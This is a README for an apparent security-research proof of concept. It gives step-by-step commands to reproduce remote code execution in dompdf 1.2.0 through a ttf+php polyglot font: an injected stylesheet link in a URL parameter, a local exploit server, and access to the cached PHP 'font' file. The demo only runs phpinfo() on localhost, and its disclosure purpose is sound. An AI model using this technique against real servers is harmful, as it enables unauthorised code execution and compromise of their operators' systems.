README.md

RCE exploit for dompdf

This repository contains a vulnerable demo application using dompdf 1.2.0 and an exploit that achieves remote code execution via a ttf+php polyglot file.

For more details, please visit https://positive.security/blog/dompdf-rce

Instructions

1. Run the demo application

$ cd application
$ php -S localhost:9000

2. Run the exploit server

$ cd exploit
$ php -S localhost:9001

3. Trigger the exploit

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. Access the cached php "font" file and execute phpinfo()

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

Please note: In case you're using different domains or ports, please edit exploit/exploit.css accordingly and check application/dompdf/lib/fonts for the full font filename.